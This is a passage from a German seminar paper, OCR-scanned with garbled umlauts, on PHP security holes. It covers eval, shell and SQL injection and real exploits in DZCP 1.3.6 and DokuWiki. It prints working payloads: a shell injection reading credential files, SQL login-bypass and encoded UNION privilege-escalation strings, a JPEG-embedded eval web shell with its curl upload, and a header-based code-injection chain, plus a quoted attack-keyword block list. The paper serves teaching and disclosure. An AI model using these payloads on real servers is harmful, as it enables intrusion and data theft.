Wrapper deaktiviert oder Doppelpunkte und/oder Slashes aus den Dateinamen
entfernt. allow_url_fopen lédsst sich leider nicht mittels ini_set () zur Lauf-
zeit an- und abschalten®'; somit ist das standardmiBige Deaktivieren am An-
fang eines Scripts nicht moglich.

Seit PHP 5.2 gibt es allerdings die zusétzliche Konfigurations-Einstellung
allow_url_include, die ebenfalls nicht vom Script selbst verdnderbar ist. Ist
diese gesetzt, sind fopen-Wrapper fiir include () und und @hnliche Funktionen
deaktiviert. Die Einstellung ist standardméfiig deaktiviert, sodass zumindest
Vorsorge gegen die grobsten Fahrldssigkeiten getroffen wird.

Gefdhrdung existiert trotzdem noch, zum Beispiel falls der Angreifer Dateien
auf der lokalen Festplatte schreiben kann, die er daraufhin mithilfe eines an-
greifbaren include() einbindet; oder durch die verschiedenen anderen Arten
von Code Injection, die im Folgenden betrachtet werden.

3.4 Code Injection

Der Begriff ,,Injection“ bezeichnet die Mdoglichkeit, dass Benutzereingaben als
Programmcode oder Befehle weiterverarbeitet werden. Je nachdem, wo diese
Benutzerdaten ,,injiziert“ werden, spricht man von verschiedenen Arten von
Code Injection.

3.4.1 Eval Injection

Hierbei wird eine Benutzereingabe an die eval ()-Funktion weitergegeben, mit
der ein beliebiger String ausgefiihrt werden kann. Es gibt nur sehr wenige Fille,
in denen solch ein Vorgehen wirklich nétig ist, man sollte es um jeden Preis
zu vermeiden versuchen. Falls das nicht moglich ist, nur Eingabezeichen oder
Zeichenkombinationen auf einer Whitelist zulassen, niemals versuchen, nur die
gefahrlichen* Félle herauszufiltern. Man vergisst immer mindestens einen.

3.4.2 Dynamic Evaluation

PHP unterstiitzt sogenannte ,,variable Variablen“ und ,variable Funktionen“,
bei denen der Name der Variablen oder Funktion in einer Variablen steht:

$func = $_GET[’func’];

$var = $_CGET[’var’];
$ret = $func($$var);

Auch hier muss genauestens auf mogliche Sicherheitsliicken geachtet werden. Da
jedoch die auftretenden Angriffspunkte sehr stark von der Verwendung dieser
Art von Code abhéngen, lassen sich kaum allgemeine Tipps geben, wie man
sich vor Angreifern schiitzen kann. Ohne Quellcodekenntnis fillt ein Angriff
allerdings sehr schwer.

2 patiirlich als SicherheitsmaBnahme gegen ungewiinschtes Aktivieren

14



3 Sicherheitsliicken und Angriffsszenarien

3.4.3 Shell Injection

PHP besitzt diverse Funktionen??, um Kommandozeilenprogramme und -be-
fehle auf dem Server auszufiihren sowie den ,,Backtick-Operator®, der identisch
zu shell_exec() ist. Beim Ubergeben von Benutzerinput an diese Funktionen
muss man natiirlich besonderes Augenmerk auf die Sicherheit legen, da an-
sonsten ein geschickter Angreifer beliebige Shell-Befehle ausfithren kénnte. Das
Hauptproblem liegt darin, dass den Funktionen der Befehl inklusive Parameter
als ein einziger String iibergeben wird; es ist Aufgabe der Shell, diesen String
zu verarbeiten. Der Autor des PHP-Scriptes muss sich darum kiimmern, zu
verhindern, dass ein Angreifer durch geschicktes Einfiigen besonderer Zeichen
die vorgesehene Struktur des Befehls dndert.

Ein Beispiel: Die folgende Zeile soll nach Angabe eines Benutzernamens den
Unix-Befehl last ausfithren, der auflistet, wann der entsprechende Benutzer
eingeloggt war.

passthru(’last °> . $_GET[’user’]);

Solange der Benutzer nur giiltige Benutzernamen eingibt, tut dieser Befehl, was
er soll. Was aber, wenn als Benutzername folgendes eingegeben wird:

>/dev/null; cat mysql.conf.php

Das >/dev/null unterdriickt die Ausgabe des last-Befehls, das Semikolon be-
ginnt einen neuen Befehl. cat ist der Befehl zum Ausgeben des Inhalts von Da-
teien, und als Parameter wird eine Konfigurationsdatei {ibergeben, die MySQL-
Zugangsdaten enthélt. Somit erhélt der Angreifer nicht die letzten Anmelde-
zeitpunkte eines Benutzers, sondern kann mit den Rechten des angegriffenen
PHP-Scripts beliebige Dateien lesen, schreiben und ganz allgemein jegliche Art
von Shell-Befehlen ausfiihren.

Auf einschliagigen Websites finden sich vollsténdige Toolkits fiir die ,, Remote-
Administration* mittels PHP, z.B. die beliebte r57shell. Dabei handelt es sich
um erstaunlich umfangreiche Software, mit der man beispielsweise komplette
Verzeichnisbaume des Servers zusammenpacken und herunterladen oder eine
interaktive Shell, fast wie iiber SSH, benutzen kann. Auf dem eigenen Server ist
solche Software sicher praktisch, auf fremden Servern gibt sie einem Angreifer,
sobald er sie iiber eine beliebige Liicke hochladen oder den Server zum Down-
load veranlassen kann (siehe Remote File Inclusion), méchtige Werkzeuge zum
Arbeiten auf dem Server zur Hand.

Um Shell-Injection zu verhindern, existieren in PHP zwei Funktionen, die
Benutzereingaben fiir die sichere Verwendung in Befehlszeilen escapen, ndmlich
escapeshellarg() fiir einzelne Parameter und escapeshellcmd () fiir mehre-
re Parameter oder komplette Befehle. Diese verhindern aber nicht das grund-
legende Problem: Der Befehl und sdmtliche Parameter werden innerhalb eines
einzigen Strings {ibergeben.

Eine sauberere Losung sind die Funktionen zur Prozesskontrolle??. Diese stel-
len dem Entwickler das komplette Spektrum der Unix-Prozesskontrolle bereit

nttp://php.net/manual/en/ref . exec.php
Zhttp://php.net/manual/en/ref . pcntl. php
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(z.B. Forking, Signale oder auch schlicht die Ubergabe von Parametern als ein-
zelne Variablen und nicht in einem String zusammengefasst). Leider bedeutet
das gleichzeitig, dass sie nur unter Unix verfiigbar sind. Auflerdem kénnen diese
Funktionen nicht benutzt werden, wenn PHP in einen Webserver eingebettet
ist; sie sind nur fiir den Standalone-Betrieb gedacht. Damit sind sie leider fiir
den Grofiteil der PHP-Entwickler unbrauchbar.

3.5 SQL Injection

Bei SQL?* handelt es sich um eine Anfragesprache, iiber die mit Datenbank-
servern kommuniziert werden kann. Im Zuge der Verbreitung von Datenbank-
zugingen bei Massen-Webhostern steigt auch die Anzahl der PHP-Scripts, die
auf einer Datenbank basieren. Proportional dazu diirfte auch die Zahl der
moglichen SQL Injections steigen.

Das zugrundeliegende Problem entspricht dem der bisher besprochenen Injec-
tions: Es flielen Daten aus einer Benutzereingabe in einen SQL-String ein, die
nicht korrekt bzw. gar nicht auf besondere Zeichen untersucht werden. Betrach-
ten wir als Beispiel ein Forum, das ein {ibergebenes Paar aus Benutzername und
Passwort {iberpriift und bei positiver Priifung dem Benutzer Zugang gewéhrt.
Es konnte sich darin folgender Code finden:

$r = mysql_query(
"SELECT user FROM users WHERE user=’$user’ AND pass=’$pass’"
)3

Diese Anfrage gibt den Benutzernamen zuriick, aber nur dann, wenn das Pass-
wort korrekt ist.

Nehmen wir an, die Variablen $user und $pass wiirden aus unmodifizier-
ten Benutzereingaben stammen. Ein Angreifer konnte sich nun mithilfe einer
SQL Injection als Administrator einloggen, selbst wenn er dessen Passwort
iiberhaupt nicht kennt. Dafiir muss er nur als Benutzername einen beliebigen
String (z.B. egal) iibergeben und als Passwort folgendes SQL-Fragment:

kA’ OR user=’admin
Fingefiigt in die SQL-Anfrage ergébe sich folgendes:

SELECT user FROM users
WHERE user=’egal’ AND pass=’kA’ OR user=’admin’

Da hier das OR Vorrang hat, sucht der Datenbankserver alle Tupel, bei denen der
Benutzername egal und das Passwort kA ist, oder bei denen der Benutzername
admin ist. Das Passwort taucht in der OR-Bedingung iiberhaupt nicht mehr
auf und wird folglich gar nicht iiberpriift. Diese Anfrage gibt also den admin-
Benutzer zuriick, vorausgesetzt, er existiert.
Es sind hier einige weitere Angriffe moglich:

nttp://de.wikipedia.org/wiki/SQL

ZWiirde ein Benutzer egal mit Passwort kA existieren, wiirde dieser ebenfalls zuriickgeliefert
werden. Da das Forum womdglich nur den ersten Treffer auswertet, wire es ratsam, sich
vor dem Angriff zu vergewissern, dass es einen solchen Benutzer nicht gibt.
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e Einige Datenbankserver unterstiitzen die UNION-Klausel?® in SELECT-An-
fragen, mit der mehrere Ergebnismengen vereinigt werden kénnen. Damit
konnen beispielsweise Daten aus in der urspriinglichen Anfrage iiberhaupt

nicht referenzierten Tabellen ausgelesen werden. Ein Beispiel findet sich
im Abschnitt 4.1 auf Seite 19.

e In eine ihnliche Richtung bewegen sich Ansitze mit Subqueries®’, die
ebenfalls von einigen Datenbankservern, darunter MySQL ab Version 4.1,
unterstiitzt werden. Mit Subqueries kénnen an vielen Stellen, an denen
skalare Werte (also konstante Strings, Zahlen oder Spaltennamen) stehen,
geschachtelte SELECT-Anfragen benutzt werden. Ein Angreifer kann also
auch auf diese Weise Zugriff auf unvorhergesehene Bereiche der Datenbank
erlangen. Teilweise kénnen Subqueries auch ganze Zeilen zuriickgeben?®.

e Viele Server oder APIs verhindern das Verwenden von Semikola im SQL-
Ausdruck, um zu vermeiden, dass Angreifer den ersten SQL-Befehl been-
den und einen zweiten, unabhéngigen, folgen lassen. Implementierungen,
die das nicht tun, sind natiirlich in dieser Hinsicht sehr umfangreich an-
greifbar. Besonders niitzlich sind dann auch SQL-Kommentare (eigeleitet
durch --), mit denen man den Rest der urspriinglichen Anweisung, nach
der verwundbaren Stelle, auskommentieren kann.

e Sogar die Moglichkeit, lokale Dateien zu lesen und zu schreiben, ist in
vielen Servern gegeben (z.B. SELECT INTO OUTFILE? bei MySQL). Im
Normalfall ist es zwar nicht moglich, bereits bestehende Dateien zu {i-
berschreiben, aber zum Anlegen eines PHP-Scriptes oder von anderem
Schadcode reichen die Moglichkeiten oft aus.

e Manche Server bieten sogar Funktionen zur Ausfithrung von Shellbefeh-
len an, beispielsweise iiber die vorinstallierte Stored Procedure namens
xp_cmdshell in einigen Versionen von Microsofts SQL Server.

Fir SQL Injections ist Quellcodekenntnis (bzw. Kenntnis von der Daten-
bankstruktur) von grofiem Vorteil, jedoch nicht immer zwingend nétig. Viele
Implementierungen geben in der Standardeinstellung Fehler in SQL-Befehlen an
den Benutzer zuriick, und nicht selten ist das komplette fehlerhafte Query (oft
zumindest ein Teil davon) in der Meldung enthalten. Dies vereinfacht Angriffe
ungemein. Eine erste Abwehrmafinahme ist es also, diese Fehlerausgaben ab-
zuschalten. In PHP gibt es dafiir den Konfigurationseintrag error_reporting,
der nicht nur gegen SQL Injections auf einen diskreteren Wert gesetzt werden
sollte. Beispielsweise bietet es sich an, Fehlermeldungen nicht an den Brow-
ser des Benutzers zuriickzuliefern, sondern in einer Datei auf dem Server zu
speichern.

Zu den weiteren Abwehrmafinahmen z#hlt natiirlich zuallererst das korrek-
te Escapen von Eingabedaten. Wird beispielsweise nur eine numerische ID

26MySQL: http://dev.mysql.com/doc/refman/5.0/en/union. html
2"MySQL: http://dev.mysql.com/doc/refman/5.0/en/subqueries.html
MySQL: http://dev.mysql.com/doc/refman/5.0/en/rou-subqueries.html
Pnttp://dev.mysql.com/doc/refman/5.0/en/select . html#id3240275
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iibergeben, bietet sich ein Type-Casting via (int) an. Fiir alles weitere gibt
es fiir die verschiedenen von PHP unterstiitzten Datenbankfunktionen jeweils
eigene Escaping-Funktionen zur korrekten Maskierung von Spezialzeichen, fiir
MySQL beispielsweise mysql_real_escape_string()3? Doch auch diese wei-
sen immer wieder Liicken auf, beispielsweise in Verbindung mit exotischen Zei-
chensétzen.

Ein anderer Ansatz ist die Verwendung von Prepared Statements. Dabei wer-
den Benutzereingaben nicht direkt in die SQL-Anfrage eingebettet, sondern
durch Platzhalter (Fragezeichen oder einen Namen) ersetzt. Die Benutzerda-
ten werden dann beim Ausfithren der Anfrage als zusétzliche Parameter neben
dem SQL-String iibergeben. Somit ist die Einschleusung von SQL-Code in die
Parameter praktisch ausgeschlossen. Leider benutzen viele PHP-Applikationen
diese Moglichkeit (noch) nicht, da die Unterstiitzung fiir Prepared Statements
erst mit der MySQLi-Extension fiir PHP 5 und MySQL 4.1 eingefiihrt wurde.

4 Beispiele aus der Realitat

Im Folgenden mdéchte ich einige Beispiele aus real existierenden Softwarepaketen
geben, die demonstrieren sollen, dass es sich bei den in diesem Dokument ange-
sprochenen Sicherheitsliicken nicht nur um theoretische Gefahrdungen handelt,
und dass sie auch durchaus in von hunderten oder gar tausenden von Menschen
benutzten Open-Source-Programmen auftauchen kénnen.

4.1 SQL Injection in ,,deV!L‘z ClanPortal“

deV!L‘z ClanPortal3! (DZCP) ist ein integriertes Allround-System fiir Websei-
ten von Mannschaften von Online-Spielern, sogenannten Clans. Das Paket bein-
haltet ein News-System, Géstebuch, Forum, Benutzermanagement und vieles
mehr. Entwickelt wird es von einem Team um eine Person oder Gruppierung mit
dem bescheidenen Namen Code King3?. Abgesehen von diversen Moglichkeiten,
clientseitige XSS-Attacken durchzufithren, besitzt das Portal bereits seit meh-
reren Versionen einige SQL-Injection-Liicken. Diese werden von den in ihrer
Freizeit am System arbeitenden Entwicklern teilweise so ,,geschlossen®, dass
man durch das Modifizieren eines einzigen Bytes im Angriff auch bei ,,gepatch-
ten“ Versionen FErfolge erzielen kann.

Nach meinem Hacker-Seminar-Vortrag, in dem ich den Exploit von x12833
demonstrierte, nahm ich mir selbst noch einmal den Code von DZCP, damals
in der Version 1.3.6, vor. Es dauerte anderthalb Stunden, bis ich unter den
vielen Stellen, an denen SQL Injections moglich waren, eine Méglichkeit fand,
die tatséchlich ausnutzbar war. Es handelt sich dabei um eine Kombination aus
zwei Liicken, die fiir sich allein betrachtet nicht ausnutzbar wéren.

Die erste Liicke findet sich in inc/bbcode.php, einem Script, das seinem
Namen nicht ganz gerecht wird, da es nicht nur den BBCode-Parser enthiilt,

3%http://de.php.net/manual/en/function.mysql-real-escape-string.php
3http://www.dzcp.de/

32http://www.codeking. eu/

33http://milwOrm. com/exploits/1968
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sondern auch sémtliche global benotigten Funktionen und aus diesem Grund bei
jedem Aufruf eingebunden wird. Ab Zeile 2480 beginnt die Funktion page (), die
fiir die Ausgabe des grundlegenden HTML-Templates und zur Verfolgung von
Benutzeraktivitdten benutzt wird. Diese Funktion erwartet mehrere Parameter,
unter anderem $where, mit dem die aktuell von einem Benutzer betrachtete
Seite in der Datenbank gespeichert wird*. Dieser Parameter wird dann in Zeile
2517 fiir ein UPDATE-Query benutzt:

$qry = db("UPDATE ".$db[’users’]."
SET ‘time° =" ((int)time())."’,
‘whereami‘ = ’".$where."’
WHERE id = ’".$userid."’");

Wie deutlich zu sehen ist, wird $where hier ohne Escaping benutzt, und zwar in
einem UPDATE auf die Benutzertabelle?®. Mein Ziel war es, dieses UPDATE so zu
manipulieren, dass das Datenbankfeld mit den Benutzerrechten iiberschrieben
wird. Da allerdings der Parameter nicht vom Benutzer selbst definiert, son-
dern auf den ersten Blick von allen DZCP-Subsystemen als konstanter String
iibergeben wird, galt es, eine Moglichkeit zu finden, ihn manuell zu spezifizieren.

Ich fand sie in sites/index.php. Dieses Script dient dem Anlegen von , sta-
tischen* Seiten. Ab Zeile 12 beginnt folgende Datenbankabfrage:

$gry = db("SELECT sl.*,s2.internal FROM ".$db[’sites’]." AS sl
LEFT JOIN ".$db[’navi’]." AS s2
ON sl1.id = s2.editor
WHERE s1.id = ’".$_GET[’show’]."’");

$get = _fetch($qry);

Der GET-Parameter show wurde also ungesehen in die Anfrage eingefiigt. Nach
einigem Herumprobieren konstruierte ich den folgenden String:

-1’ UNION SELECT 1,
’Admin Panel\’, level=4, waffe=\’SQL Injection’, 2, 3, °’

Die SQL-Anfrage sah daraufhin folgendermafien aus (Einriickung zur besseren
Ubersicht veréindert):

SELECT sl1.*,s2.internal FROM sites AS si
LEFT JOIN navi AS s2 ON sl1.id = s2.editor
WHERE s1.id = ’-1°
UNION SELECT 1,
’Admin Panel\’, level=4, waffe=\’SQL Injection’, 2, 3, ’’

Wie funktioniert der Angriff nun genau? Ohne interne Kenntnisse von DZCP
ist das schwer nachzuvollziehen, also folgt nun eine detaillierte Erklarung:

34Ginn dieser Speicherung ist die Realisierung einer ,, wer-macht-gerade-was“- bzw. , wer-ist-
gerade-wo“-Ubersichtsseite.
35¢db[’users’] enthilt den Namen der Tabelle
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1. Die Angabe von -1 sorgt dafiir, dass in der eigentlichen Datenbank kein
Treffer gefunden wird und daher das folgende UNION die einzigen verwen-
deten Daten liefert.

2. Die Tabelle sites besteht aus vier Spalten: Einer fortlaufenden ID (vom
Typ Integer), einem Titel (Varchar), dem eigentlichen Seitentext (Text)
und einem , HTML“-Flag. Das UNION muss die selbe Anzahl an Spalten
verwenden; zusammen mit dem Feld s2.internal also fiinf.

3. Wirklich eine Rolle spielt hier nur das zweite Feld, der titel. Denn in
Zeile 34 findet sich

$where = re($get[’titel’]);
und in Zeile 47 dann schlie3lich
page($index, $title, $where,$time);

Der Titel als Ergebnis der SQL-Anfrage® wird also an die DZCP-interne
Funktion re() iibergeben, die unter anderem ein stripslashes(), al-
so ein Entfernen von zum Escaping benutzten Backslashes, durchfiihrt.
Damit lautet der Titel:

Admin Panel’, level=4, waffe=’SQL Injection

4. Dieser Titel wird nun an page () iibergeben, die daraufhin folgende SQL-
Anfrage ausfiihrt:

UPDATE users SET ‘time‘ = ’12345’,
‘whereami‘ = ’Admin Panel’, level=4, waffe=’SQL Injection’
WHERE id = ’4711°

Dabei stellt 12345 die automatisch eingefiigte Unix-Zeit und 4711 die ID
des eingeloggten Benutzers dar. Die Angaben von Admin Panel und SQL
Injection dienen nur der syntaktischen Korrektheit und dem Unterhal-
tungswert. Der Schliissel zum Erfolg ist die Angabe von level=4, was
dem Rechtelevel des Website-Administrators entspricht.

In der Praxis miissen bei diesem Angriff noch ein paar Dinge beachtet wer-
den. Erstens funktioniert er nur, wenn PHPs Direktive magic_quotes_gpc de-
aktiviert ist, da PHP sonst selbst eine weitere Ebene Escaping einfiigt. Eine
von mir durchgefithrte Priifung von 182 zufillig ausgewéhlten iiber das Web
zugénglichen phpinfo()-Ausgaben ergab, dass diese Einstellung bei ca. 18%
der Seiten deaktiviert ist.

Zweitens muss der Injection-String im URL angegeben werden. Dabei stof3t
man auf das Problem, dass DZCP in dieser Version eine bei jedem Aufruf aus-
gefithrte Datei namens secure.php mitbringt, die den Query-String auf Anzei-
chen von Angriffen durchsucht und bei einem Treffer die Ausfithrung beendet.
Das grundlegende Prinzip ist der laienhaften Implementierung sieht wie folgt
aus (gekiirzt):

36die die Entwickler in $get speichern — nicht zu verwechseln mit $_GET
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$qString = strtolower ($_SERVER[’QUERY_STRING’]);

$pString = array(’chr(’, ’chr=’, ’chr’20’, ’%20chr’,
’union%20’, ’%20union’, ’union(’, ’chmod(’, ’chmod=’,
’/etc/password’,’/etc/shadow’, ’/etc/groups’,
’HTTP_USER_AGENT’, ’HTTP_HOST’, ’/bin/ps’, ’wget%20’,
’ftp.exe’,’<script’,’union+select’, ’union’, ’select’);

$check = str_replace($pString, ’*’, $qString);
if ($gString != $check)
// Ausfiihrung abbrechen

In fritheren Versionen wurde der Query-String noch nicht in Kleinbuchstaben
umgewandelt, sodass man dem Filter recht einfach entgehen konnte, indem
man die Gro- und Kleinschreibung verédnderte. In Version 1.3.6 wiirde unser
Angriffs-String vom Filter ertappt werden. Die Losung ist aber denkbar einfach,
wenn man sich daran erinnert, dass in URLs beliebige Bytes durch % und ihren
Hex-Code ersetzt werden konnen. Somit ist der fertige String, wie er auch in
meinem veréffentlichten Advisory3” auftaucht, folgender:

show=-1’+%55NI0ON+%53ELECT+1,+’ Admin+Panel\’ ,+level%3d4,+
waffe)3d\’SQL+Injection’,+2,+3,+’

4.2 File Upload in ,,deV!L‘z ClanPortal*

Der ,, Typ* dieser Liicke wurde in diesem Dokument nicht explizit besprochen,
weil sie eigentlich in kein festes Muster passt. Sie zeigt aber sehr schén auf, wie
leicht Angriffsmoglichkeiten, an die nie jemand denken wiirde, eine komplette
Site kompromittieren kénnen. Auch dieses Loch habe ich selbst gefunden®®,
wenige Stunden nach der SQL-Injection aus Abschnitt 4.1.

DZCP bietet in Version 1.3.6 jedem registrierten Benutzer die Moglichkeit,
ein Bild von sich hochzuladen, das dann auf seiner Profilseite und in Forumbei-
tragen angezeigt wird. Dafiir ist das Script upload/index.php verantwortlich,
das diese hochgeladenen Bilder {iberpriift und als lokale Dateien abspeichert. In-
teressant ist hierbei, die Kriterien zu betrachten, die ein ,,giiltiges* Bild erfiillen
muss (Code ab Zeile 177):

1. Mittels PHPs getimagesize ()-Funktion werden die Pixelmafie des Bildes
in $imageinfo gespeichert. Damit wird spéter sichergestellt, dass es sich
tatsédchlich um eine giiltige Bilddatei handelt, denn bei nicht lesbaren
Bildern gibt diese Funktion einen Fehlerwert zuriick.

2. Die Dateiendung wird extrahiert und in $endung gespeichert. Spéater wird
der Dateiname aus der ID des hochladenden Benutzers und dieser Endung
generiert.

3. Nun wird iiberpriift, ob iiberhaupt ein Bild hochgeladen wurde. Wenn ja,
wird im Grunde folgender Check durchgefiihrt:

3™http://scytale.de/files/adv/061124a-dzcp-sql. txt
38http://scytale.de/files/adv/061124b-dzcp-upload.txt
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if($type != "image/gif" && $type != "image/pjpeg" &&
$type != "image/jpeg" || !$imageinfo[0] )
// Fehlermeldung

$type enthilt dabei den MIME-Typen3® der Datei. Es wird also sicher-
gestellt, dass es sich um ein GIF- oder JPEG-Bild handelt, das nicht
beschédigt, also lesbar, ist.

4. Nach einer Dateigrofle-Priifung wird die Datei als $userid.$endung ab-
gespeichert.

Das Problem liegt hier hauptséachlich darin, dass die Dateiendung nicht einge-
schrinkt wird. Normalerweise setzt ein Browser zwar nur dann die oben ge-
nannten MIME-Typen, wenn er wirklich ein GIF- oder JPEG-Bild hochladt,
aber was, wenn man keinen Browser benutzt? Verwendet man beispielsweise
die HTTP-Bibliothek cURL*?, so kann man beliebige Dateien hochladen und
dabei beliebige MIME-Typen angeben, die der Datei nicht zwingend entspre-
chen miissen.

Ein PHP-Script mit Endung . php und MIME-Typ image/jpeg hochzuladen,
scheitert jedoch daran, dass das ,,Bild“ nicht lesbar ist, weil es keine giiltigen
JPEG-Daten enthilt. Nach einigem Herumprobieren gelang es mir allerdings,
PHP-Code so in die Headerdaten eines JPEGs einzubauen, dass es weiterhin ein
giiltiges Bild war und auch PHP keine Parsing-Fehler aufgrund der Bilddaten
ausgab. Der eingebettete Code lautete:

<7php eval($_GET[’x’]); exit(0); 7>
Diese Datei lud ich nun hoch:

curl -F ’file=Qtest.php;type=image/jpeg’
*http://<dzcp>/upload/index.php7action=userpic&do=upload’

DZCP lieferte mir eine Bestétigung zuriick; das Bild sei erfolgreich hochgeladen
worden. Im Verzeichnis inc/images/uploads/userpics auf meinem lokalen
Apache-Testserver konnte ich es jedoch nicht finden. Also ging ich den Code
noch einmal durch und fand heraus, dass die Datei sich tatsdchlich dort befand,
wo sie angelegt werden sollte: Sie lag in diesem Verzeichnis, aber war aber nicht
sichtbar, weil curl keine Cookies mitgeschickt hatte. Der hochladende Benutzer
war ndmlich gar kein registrierter Benutzer, curl war nicht ,eingeloggt®. In
diesem Fall war die Benutzer-1D null; als String gecastet der leere String ’’. Die
Datei hief3 also .php, ohne irgendwelche Zeichen vor der Endung, und auf Unix-
Systemen gelten Dateien, deren Name mit einem Punkt beginnt, als versteckt.

Ich lie mir also auch versteckte Dateien anzeigen, und fand in der Tat ei-
ne Datei namens .php im fraglichen Verzeichnis, die sich auch im Browser als
http://<dzcp>/inc/images/uploads/userpics/.php aufrufen lief und ein-
wandfrei funktionierte. Dieses konnte ich nun aufrufen und mittels dem Para-
meter x beliebige PHP-Befehle iibergeben.

3nttp://de.wikipedia.org/wiki/Content-Type
4Onttp://curl.haxx.se/
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4.3 File Disclosure und Code Injection mit DokuWiki

Im September 2006 verdffentlichte ein Hacker namens rgod*! ohne vorheriges
Kontaktieren des Autors einen Exploit?? in der Wikisoftware DokuWiki*3, der
es ermoglicht, beliebige Dateien auf dem Server mit Rechten des Webservers zu
lesen und zu schreiben.

Dieser Exploit basiert auf der Datei dwpage . php, die in der DokuWiki-Distri-
bution im Verzeichnis bin mit ausgeliefert wurde. Es handelt sich dabei um ein
fiir die Kommandozeile gedachtes Script, mit dem sich Wikiseiten als lokale Da-
teien speichern und lokale Dateien als Wikiseiten einpflegen lassen. Es verwen-
det keinerlei Authentifizierung. Der Gedanke dahinter ist, dass Personen mit
Shell-Zugang zu DokuWikis Dateien folglich auch unbegrenzte Moglichkeiten
haben, diese zu manipulieren. Jedoch war weder das Verzeichnis bin mittels
einer .htaccess-Datei oder dhnlichem gegen Zugriff iiber das Web geschiitzt,
noch priifte dwpage . php seine Ausfithrungsumgebung darauf, ob es lokal oder
via HTTP aufgerufen wurde. In Kombination mit PHPs Konfigurationsdirek-
tive register_argc_argv, die, wenn aktiv, den Query-String einer HT'TP-
Anfrage wie Kommandozeilenargumente behandelt (und standardméBig aktiv
ist), konnte man alle Funktionen des Scripts auch iiber das Web benutzen.

Eine Moglichkeit wire ein simpler File-Disclosure-Angriff, indem man eine
lokale Datei als Wikiseite eincheckt. So kénnte man beispielsweise die Benutzer-
datenbank inklusive Passworthashes ins Wiki tibertragen und einfach auslesen.
rgod benutzt das Script, um mit drei Schritten beliebigen Code ausfithren zu
konnen.

1. Noch vollig ohne dwpage.php sendet der Angreifer einen Zugriff auf das
Wiki: Eine (frei wéhlbare) Wikiseite soll zur Bearbeitung geoffnet wer-
den?*. In die HTTP-Anfrage baut er einen X-Forwarded-For-Header ein.
Dieser ist eigentlich fiir Proxyserver®® gedacht, die dort die IP-Adresse
des Clients vermerken, fiir den die Anfrage durchgefiihrt wird.

DokuWiki erstellt daraufhin ein Lockfile, dessen Name auf der zu bearbei-
tenden Seite basiert (z.B. seite.txt.lock). In diesem Lockfile wird die
IP-Adresse der Anfrage, der Name des Benutzers (sofern eingeloggt) und,
sofern vorhanden, der Inhalt des X-Forwarded-For-Headers vermerkt.
Letzterer wird nicht iiberpriift oder auf irgendeine Weise auf TP-Adressen
beschrankt. Der Angreifer setzt den Header auf PHP-Code, der dann im
Lockfile gespeichert wird, z.B.

X-Forwarded-For: <7php eval($_GET[’x’]); die; 7>

2. Nun wird dwpage.php benutzt, um das Lockfile als Wikiseite einzuche-
cken. Der URL lautet:

“http://retrogod.altervista.org/

“http://www.milwOrm. com/exploits/2321

“http://splitbrain.org/go/dokuwiki

#Dies bedeutet, dass der Angreifer Wikiseiten bearbeiten diirfen muss, bei 6ffentlichen Wikis
ist dies aber sehr oft der Fall.

“®http://de.wikipedia.org/wiki/Proxy_(Rechnernetz)
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http://<dokuwiki>/bin/dwpage.php?
-m+"foo"+commit+. ./data/pages/seite.txt.lock+wiki:seite2

3. Als letzter Schritt wird die soeben neu erstellte Wikiseite als lokale Datei
gespeichert:

http://<dokuwiki>/bin/dwpage.php?
-m+"foo"+checkout+wiki:seite2+../foo.php

Nun kann iiber die soeben erstellte Datei foo.php beliebiger Code aus-
gefithrt werden, den man iiber den Parameter x iibergibt.

Es ist mir nicht bekannt, warum eine solch schwer wiegende und offensichtliche
Sicherheitsliicke wie dwpage . php nicht schon lange zuvor entdeckt wurde. Der
Fix bestand darin, eine Zeile in das Script einzufiigen:

if (’cli’ '= php_sapi_name()) die();
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5 Ausblick

PHP erfreut sich trotz stdndig neuen Sicherheitsliicken, die oft in den Anwen-
dungen, teils aber auch in PHP selbst stecken, weiterhin wachsender Beliebtheit,
daran dnderte auch der fiir den Mirz 2007 ausgerufene Month of PHP Bugs*S,
zu dem mehrere schwere Sicherheitsliicken veroffentlicht wurden, nichts.

Die PHP-Entwickler arbeiten kontinuierlich an Verbesserungen, so wird ab
PHP 6 register_globals endgiiltig abgeschafft, bereits ab Version 5.2 gibt es
allow_url_include, mit dem unabhéngig von allow_url_fopen Remote File
Inclusion fiir include() und dessen Schwesterfunktionen deaktiviert werden
kann.

Damit wird PHP zwar oberflichlich gesehen sicherer, leidet aber weiterhin
hauptséchlich unter seiner Popularitidt und einfachen Erlernbarkeit, die ihm im-
mer wieder Programmieranfinger ohne die nétige Erfahrung, Sicherheitsliicken
zu erkennen und zu vermeiden, bescheren wird. Die Losung dieses Problems sehe
ich in der Offenlegung moglichst vieler Angriffstechniken und Schutzmafinah-
men sowie genereller Schulung der PHP-Programmierer, einen stérkeren Fokus
auf Sicherheitsaspekte zu legen. Ich hoffe, dass ich mit dieser Arbeit einen Teil
dazu beitragen konnte.

“http://blog. php-security.org/archives/71-Month-of - PHP-Bugs-and-PHP-5.2.1.
html
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